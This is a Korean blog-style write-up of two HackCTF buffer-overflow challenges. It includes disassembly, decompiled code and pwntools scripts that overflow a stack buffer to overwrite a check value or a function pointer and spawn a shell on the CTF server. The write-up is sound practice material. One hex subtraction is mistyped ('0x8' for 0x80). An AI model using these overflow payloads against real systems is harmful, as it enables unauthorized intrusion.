본문 바로가기

Pwnable/HackCTF

[ProjectH4C] HackCTF (bof_basic 1~2)

 

bof_basic #1

 

HackCTF에서 제공하는 Pwnable 카테고리의 첫 번째 문제이다.

HackCTF에서는 각 문제마다 포트를 제공하는데, 해당 서버와 포트에 값을 보낸 후에 쉘을 획득하여 flag를 획득한 후 사이트에 제출하는 방식이다. 추가로 디버깅을 위해 실행 파일도 별도로 제공한다.

 

제일 먼저 ctf.j0n9hyun.xyz 3000 서버에 값을 입력해보았다.

 

입력을 buf에 저장한 후에, 특정한 위치의 값을 확인하는 듯 한다. buf의 크기가 얼마인지, 어느 부분의 값을 덮어씌워야 하는지 gdb와 IDA를 통해 알아보았다.

 

(gdb) disas main
Dump of assembler code for function main:
   0x080484cb <+0>:	lea    ecx,[esp+0x4]
   0x080484cf <+4>:	and    esp,0xfffffff0
   0x080484d2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:	push   ebp
   0x080484d6 <+11>:	mov    ebp,esp
   0x080484d8 <+13>:	push   ecx
   0x080484d9 <+14>:	sub    esp,0x34
   0x080484dc <+17>:	mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:	mov    eax,ds:0x804a040
   0x080484e8 <+29>:	sub    esp,0x4
   0x080484eb <+32>:	push   eax
   0x080484ec <+33>:	push   0x2d
   0x080484ee <+35>:	lea    eax,[ebp-0x34]
   0x080484f1 <+38>:	push   eax
   0x080484f2 <+39>:	call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:	add    esp,0x10
   0x080484fa <+47>:	sub    esp,0x8
   0x080484fd <+50>:	lea    eax,[ebp-0x34]
   0x08048500 <+53>:	push   eax
   0x08048501 <+54>:	push   0x8048610
   0x08048506 <+59>:	call   0x8048370 <printf@plt>
   0x0804850b <+64>:	add    esp,0x10
   0x0804850e <+67>:	sub    esp,0x8
   0x08048511 <+70>:	push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:	push   0x804861c
   0x08048519 <+78>:	call   0x8048370 <printf@plt>
   0x0804851e <+83>:	add    esp,0x10
   0x08048521 <+86>:	cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:	je     0x8048543 <main+120>
   0x0804852a <+95>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:	je     0x8048543 <main+120>
   0x08048533 <+104>:	sub    esp,0xc
   0x08048536 <+107>:	push   0x8048628
   0x0804853b <+112>:	call   0x8048390 <puts@plt>
   0x08048540 <+117>:	add    esp,0x10
   0x08048543 <+120>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:	jne    0x804857c <main+177>
   0x0804854c <+129>:	sub    esp,0xc
   0x0804854f <+132>:	push   0x8048644
   0x08048554 <+137>:	call   0x8048390 <puts@plt>
   0x08048559 <+142>:	add    esp,0x10
   0x0804855c <+145>:	sub    esp,0xc
   0x0804855f <+148>:	push   0x804866e
   0x08048564 <+153>:	call   0x80483a0 <system@plt>
   0x08048569 <+158>:	add    esp,0x10
   0x0804856c <+161>:	sub    esp,0xc
   0x0804856f <+164>:	push   0x8048678
   0x08048574 <+169>:	call   0x8048390 <puts@plt>
   0x08048579 <+174>:	add    esp,0x10
   0x0804857c <+177>:	mov    eax,0x0
   0x08048581 <+182>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:	leave  
   0x08048585 <+186>:	lea    esp,[ecx-0x4]
   0x08048588 <+189>:	ret    
End of assembler dump.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

 

처음에 [esp-0x34]에 buf의 공간을 할당하고, [esp-0xc] 위치에 v5 변수의 값 0x04030201를 저장한다.

이후에 fgets를 통해 입력 받고, [ebp-0xc]의 값이 0xdeadbeef와 같을 경우 system 함수를 호출한다.

v5에 0x04030201을 저장하기 때문에, [esp-0xc]가 v5의 공간이고, [esp-0x34]부터 [esp-0xd]까지가 buf의 공간임을 알 수 있다. 10진수로 계산했을 때 0x34 - 0xc는 40이므로, buf의 크기는 40이 된다. fgets를 통해 45바이트를 입력받기 때문에, 40바이트 + 0xdeadbeef, 총 44바이트를 입력하면 쉘을 얻을 수 있을 듯 하다.

 

페이로드는 다음과 같다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3000)

payload = "A"*40+"\xef\xbe\xad\xde"
r.sendline(payload)
r.interactive()

 

A 40개와 "0xdeadbeef"를 입력으로 넘긴 후 interactive를 통해 쉘을 이용하여 flag를 확인한다.

 

 

 

 

 

bof_basic #2

basic_bof2 파일을 IDA를 이용해 코드를 보면 다음과 같다.

 

v5는 sup 함수를 가리키고, fgets를 통해 s에 입력 받은 후에 v5()를 호출한다. sup 함수는 다음과 같다.

s에 저장된 값을 출력해주는 함수이다. 그 외에 왼쪽부분에 보면 shell이라는 함수가 존재하는 것을 알 수 있다.

shell 함수는 말 그대로 쉘을 실행시켜주는 함수이다. v5의 공간에 sup 함수의 주소가 아닌 shell 함수의 주소를 덮어씌워서 쉘을 실행시키면 된다. gdb를 이용해 buf의 크기를 알아낸다.

 

Dump of assembler code for function main:
   0x080484cd <+0>:	lea    ecx,[esp+0x4]
   0x080484d1 <+4>:	and    esp,0xfffffff0
   0x080484d4 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d7 <+10>:	push   ebp
   0x080484d8 <+11>:	mov    ebp,esp
   0x080484da <+13>:	push   ecx
   0x080484db <+14>:	sub    esp,0x94
   0x080484e1 <+20>:	mov    DWORD PTR [ebp-0xc],0x80484b4
   0x080484e8 <+27>:	mov    eax,ds:0x804a040
   0x080484ed <+32>:	sub    esp,0x4
   0x080484f0 <+35>:	push   eax
   0x080484f1 <+36>:	push   0x85
   0x080484f6 <+41>:	lea    eax,[ebp-0x8c]
   0x080484fc <+47>:	push   eax
   0x080484fd <+48>:	call   0x8048350 <fgets@plt>
   0x08048502 <+53>:	add    esp,0x10
   0x08048505 <+56>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048508 <+59>:	call   eax
   0x0804850a <+61>:	mov    eax,0x0
   0x0804850f <+66>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048512 <+69>:	leave  
   0x08048513 <+70>:	lea    esp,[ecx-0x4]
   0x08048516 <+73>:	ret    
End of assembler dump.

main+20을 보면 [ebp-0xc]에 0x080484b4를 저장하는데, 0x080484b4가 바로 sup 함수의 주소이다. 또, main+41을 보면 [ebp-0x8c]를 fgets의 인자로서 push하는데, 해당 주소가 buf가 시작하는 주소임을 알 수 있다. 이 둘을 가지고 buf의 크기를 예측하면 0x8c - 0xc = 0x8이 되고, 이를 십진수로 환산하면 128이 된다. 이제 페이로드를 작성하면 된다.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3001)

payload = "A"*128+"\x9b\x84\x04\x08"
r.sendline(payload)
r.interactive()

 

128개의 값을 넣은 후에 v5의 주소에 shell 함수의 주소를 넣어주어서 v5()를 통해 쉘을 실행시킨다.

 

flag를 획득하는데 성공하였다.